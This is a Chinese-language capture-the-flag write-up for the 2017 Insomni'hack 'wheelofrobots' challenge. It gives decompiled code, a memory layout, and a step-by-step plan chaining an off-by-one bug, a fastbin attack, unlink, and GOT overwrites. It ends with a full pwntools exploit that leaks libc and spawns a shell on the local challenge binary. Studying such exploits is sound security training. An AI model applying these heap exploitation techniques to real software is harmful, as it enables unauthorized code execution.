2017 insomni'hack——wheelofrobots

64位程序,没开PIE  #unlink #off by one #fastbin attack

程序逻辑

大概分析程序,可以得知,这是一个配置机器人轮子的游戏,机器人一共需要添加 3 个轮子。

程序非常依赖的一个功能是读取整数,该函数 read_int 是读取指定的长度,将其转化为 int 类型的数字。

一共有 6 个轮子可以选择

 1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
 2 {
 3   FILE *v3; // rdi
 4   unsigned int v4; // eax
 5 
 6   setvbuf(stdout, 0LL, 2, 0LL);
 7   v3 = stdin;
 8   setvbuf(stdin, 0LL, 2, 0LL);
 9   sub_40174B(v3, 0LL);
10   sub_400A86();
11   qword_603130 = 0LL;
12   while ( 1 )
13   {
14     while ( 1 )
15     {
16       puts_menu();
17       printf("Your choice : ");
18       memset(&unk_603110, 0, 4uLL);
19       v4 = read_int(&unk_603110, 4uLL);
20       if ( v4 != 2 )
21         break;
22       delete();
23     }
24     if ( v4 > 2 )
25     {
26       if ( v4 == 3 )
27       {
28         change_name();
29       }
30       else if ( v4 == 4 )
31       {
32         start_wheel();
33       }
34     }
35     else if ( v4 == 1 )
36     {
37       add();
38     }
39   }
40 }

add函数

  1 unsigned __int64 add()
  2 {
  3   _WORD *v0; // rax
  4   _WORD *v1; // rax
  5   _DWORD *v2; // rax
  6   _DWORD *v3; // rax
  7   _QWORD *v4; // rax
  8   unsigned int v5; // ST08_4
  9   _WORD *v6; // rax
 10   unsigned int v8; // [rsp+8h] [rbp-18h]
 11   unsigned int v9; // [rsp+8h] [rbp-18h]
 12   int v10; // [rsp+Ch] [rbp-14h]
 13   char s; // [rsp+10h] [rbp-10h]
 14   unsigned __int64 v12; // [rsp+18h] [rbp-8h]
 15 
 16   v12 = __readfsqword(0x28u);
 17   sub_400D83("Which robot do you want to add to the wheel?");
 18   printf("Your choice :");
 19   memset(&unk_603110, 0, 4uLL);
 20   v10 = read_int(&unk_603110, 5uLL);        //off by one,覆盖idx2->inuse
 21   if ( (unsigned __int64)qword_603130 <= 2 )
 22   {
 23     switch ( v10 )
 24     {
 25       case 1:
 26         if ( !dword_603120 )
 27         {
 28           buf = calloc(1uLL, 0x14uLL);
 29           dword_603120 = 1;
 30           v0 = buf;
 31           *(_QWORD *)buf = 7589726977941989716LL;
 32           v0[4] = 109;
 33           ++qword_603130;
 34         }
 35         break;
 36       case 2:
 37         if ( !dword_603114 )
 38         {
 39           printf("Increase Bender's intelligence: ", 5LL);
 40           memset(&s, 0, 5uLL);
 41           v8 = read_int(&s, 5uLL);
 42           if ( v8 > 4 )
 43           {
 44             puts("Sorry impossible to make bender as smart!");
 45             v8 = 2;
 46           }
 47           qword_6030F0 = calloc(1uLL, 20 * v8);
 48           qword_603138 = v8;
 49           dword_603114 = 1;
 50           v1 = qword_6030F0;
 51           *(_DWORD *)qword_6030F0 = 1684956482;
 52           v1[2] = 29285;
 53           *((_BYTE *)v1 + 6) = 0;
 54           ++qword_603130;
 55         }
 56         break;
 57       case 3:
 58         if ( !dword_603124 )
 59         {
 60           printf("Increase Robot Devil's cruelty: ", 5LL);
 61           memset(&s, 0, 5uLL);
 62           v9 = read_int(&s, 5uLL);
 63           if ( v9 > 0x63 )
 64           {
 65             puts("You are crazy!!");
 66             v9 = 20;
 67           }
 68           qword_603100 = calloc(1uLL, 20 * v9);
 69           qword_603140 = v9;
 70           dword_603124 = 1;
 71           v2 = qword_603100;
 72           *(_QWORD *)qword_603100 = 7296992980704063314LL;
 73           v2[2] = 7104886;
 74           ++qword_603130;
 75         }
 76         break;
 77       case 4:
 78         if ( !dword_603118 )
 79         {
 80           qword_6030E0 = calloc(1uLL, 0xFA0uLL);
 81           v3 = qword_6030E0;
 82           *(_QWORD *)qword_6030E0 = 7877675831787612227LL;
 83           v3[2] = 1919249263;
 84           *((_BYTE *)v3 + 12) = 0;
 85           dword_603118 = 1;
 86           ++qword_603130;
 87         }
 88         break;
 89       case 5:
 90         if ( !dword_603128 )
 91         {
 92           qword_603108 = calloc(1uLL, 0x9C40uLL);
 93           v4 = qword_603108;
 94           *(_QWORD *)qword_603108 = 7020671367698475330LL;
 95           v4[1] = 32773427100480105LL;
 96           dword_603128 = 1;
 97           ++qword_603130;
 98         }
 99         break;
100       case 6:
101         if ( !dword_60311C )
102         {
103           printf("Increase Destructor's powerful: ", 5LL);
104           memset(&s, 0, 5uLL);
105           v5 = read_int(&s, 5uLL);
106           qword_6030E8 = calloc(1uLL, 20 * v5);
107           qword_603148 = v5;
108           dword_60311C = 1;
109           v6 = qword_6030E8;
110           *(_QWORD *)qword_6030E8 = 8386676065534436676LL;
111           v6[4] = 29295;
112           *((_BYTE *)v6 + 10) = 0;
113           ++qword_603130;
114         }
115         break;
116       default:
117         return __readfsqword(0x28u) ^ v12;
118     }
119   }
120   else
121   {
122     puts("Wheel Of Robots is Full!");
123   }
124   return __readfsqword(0x28u) ^ v12;
125 }


内存分布如下

 1 0x6030E0    ptr_idx4
 2 0x6030E8    ptr_idx6
 3 0x6030F0    ptr_idx2
 4 0x6030F8    ptr_idx1
 5 0x603100    ptr_idx3
 6 0x603108    ptr_idx5         
 7 0x603110    choice
 8 0x603114    idx2_inuse
 9 0x603118    idx4_inuse
10 0x60311c    idx6_inuse
11 0x603120    idx1_inuse
12 0x603124    idx3_inuse
13 0x603128    idx5_inuse    <-fake_fastbin_chunk
14 0x603130    num       <-0x20
15 0x603138    idx2_size
16 0x603140    idx3_size
17 0x603148    idx6_size

 

 

利用思路

  1. 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138,进而可以控制 idx6_size的大小,从而实现任意长度堆溢出。这里我们将轮子 idx1 分配到这里。
  2. 分别分配合适大小的物理相邻的 chunk,其中包括 destructor。借助上面可以任意长度堆溢出的漏洞,对 destructor 对应的 chunk 进行溢出,将其溢出到下一个物理相邻的 chunk,从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果,这时 bss 段的 destructor 指向 0x6030D0。从而,我们可以再次实现覆盖 bss 段几乎所有的内容。
  3. 构造一个任意地址写的漏洞。通过上述的漏洞将已经分配的轮子idx1 指针覆盖为 idx6 的地址,那么此后编辑 idx1 即在编辑 idx6的内容,进而当我们再次编辑 idx6 时就相当于任意低地址写。
  4. 由于程序只是在最后启动机器人的时候,才会随机输出一些轮子的内容,并且一旦输出,程序就会退出,由于这部分我们并不能控制,所以我们将 exit() patch 为一个 ret 地址。这样的话,我们就可以多次输出内容了,从而可以泄漏一些 got 表地址。(也可以将某个got覆盖为puts_plt,用puts泄露地址)
  5. 在泄漏了相应的内容后,我们便可以得到 libc 基地址,system 地址,进而我们修改atoi@got 为 system 地址。菜单选择时输入‘sh\x00’(或者'$0\x00',只能输入4字节,这里不能用'/bin/sh\x00',),便可以启动 shell。

expolit

 

  1 from pwn import *
  2 sh=process('./wheelofrobots')
  3 elf=ELF('./wheelofrobots')
  4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  5 
  6 def add(idx,size=0):
  7     sh.recvuntil('Your choice :')
  8     sh.sendline('1')
  9     sh.recvuntil('Your choice :')
 10     sh.sendline(str(idx))
 11     if idx==2:
 12         sh.recvuntil("Increase Bender's intelligence: ")
 13         sh.sendline(str(size))
 14     elif idx==3:
 15         sh.recvuntil("Increase Robot Devil's cruelty: ")
 16         sh.sendline(str(size)) 
 17     elif idx==6:
 18         sh.recvuntil("Increase Destructor's powerful: ")
 19         sh.sendline(str(size))
 20 
 21 def remove(idx):
 22     sh.recvuntil('Your choice :')
 23     sh.sendline('2')
 24     sh.recvuntil('Your choice :')
 25     sh.sendline(str(idx))
 26 
 27 def chname(idx,name):
 28     sh.recvuntil('Your choice :')
 29     sh.sendline('3')
 30     sh.recvuntil('Your choice :')
 31     sh.sendline(str(idx))
 32     sh.recvuntil("Robot's name: \n")
 33     sh.send(name)
 34 
 35 def start_robot():
 36     sh.recvuntil('Your choice :')
 37     sh.sendline('4')
 38 
 39 def overflow_benderinuse(inuse):
 40     sh.recvuntil('Your choice :')
 41     sh.sendline('1')
 42     sh.recvuntil('Your choice :')
 43     sh.send('9999'+inuse)
 44 
 45 def write(where,what):
 46     chname(1,p64(where))
 47     chname(6,p64(what))
 48 
 49 #step 1 make fake_fastbin_chunk in 0x603138
 50 add(2,1)
 51 remove(2)
 52 #add 0x20 to fastbin
 53 overflow_benderinuse('\x01')
 54 chname(2,p64(0x603138))
 55 #fd=0x603138
 56 #0x20 fastbin: idx2->0x603138->NULL
 57 overflow_benderinuse('\x00')
 58 add(2,1)
 59 #0x603140=0x20 -> size=0x20 pass the fastbin size check 
 60 add(3,0x20)
 61 add(1)
 62 #idx1 point to 0x603148
 63 #num<=3
 64 remove(2)
 65 remove(3)
 66 
 67 #step 2 unlink 
 68 add(6,3) #size=20*3=60=0x3C->0x40
 69 add(3,7) #size=20*7=140=0x8C ->0x90 not fastbin
 70 chname(1,p64(1000))#idx6->size=1000
 71 
 72 fakechunk_adr=0x6030E8
 73 fakechunk=p64(0)+p64(0x20)+p64(fakechunk_adr-0x18)+p64(fakechunk_adr-0x10)
 74 fakechunk+=p64(0x20)
 75 fakechunk=fakechunk.ljust(0x40,'a')
 76 fakechunk+=p64(0x40)
 77 fakechunk+=p64(0xa0) #0x90+0x10
 78 chname(6,fakechunk)
 79 remove(3)
 80 #*(0x6030E8)=0x6030D0
 81 #idx6->0x6030D0
 82 
 83 #step3
 84 payload=p64(0)*2+0x18*'a'+p64(0x6030E8)
 85 chname(6,payload)
 86 #*(0x6030F8)=0x6030E8
 87 #idx1->0x6030E8
 88 
 89 #step4 exit=ret
 90 write(elf.got['exit'],0x401954)
 91 
 92 #step5 puts_adr->libc_base->system_adr
 93 write(0x603130,3)#set num=3 to start robot
 94 chname(1,p64(elf.got['puts']))
 95 start_robot()
 96 sh.recvuntil('New hands great!! Thx ')
 97 puts_adr=sh.recvuntil('!\n', drop=True).ljust(8, '\x00')
 98 puts_adr=u64(puts_adr)
 99 libc_base=puts_adr-libc.symbols['puts']
100 system_adr=libc_base+libc.symbols['system']
101 #print 'libc_base: '+hex(libc_base))
102 write(elf.got['atoi'],system_adr)
103 sh.recvuntil('Your choice :')
104 sh.sendline('sh\x00')
105 sh.interactive()

 

转载于:https://www.cnblogs.com/pfcode/p/10749561.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值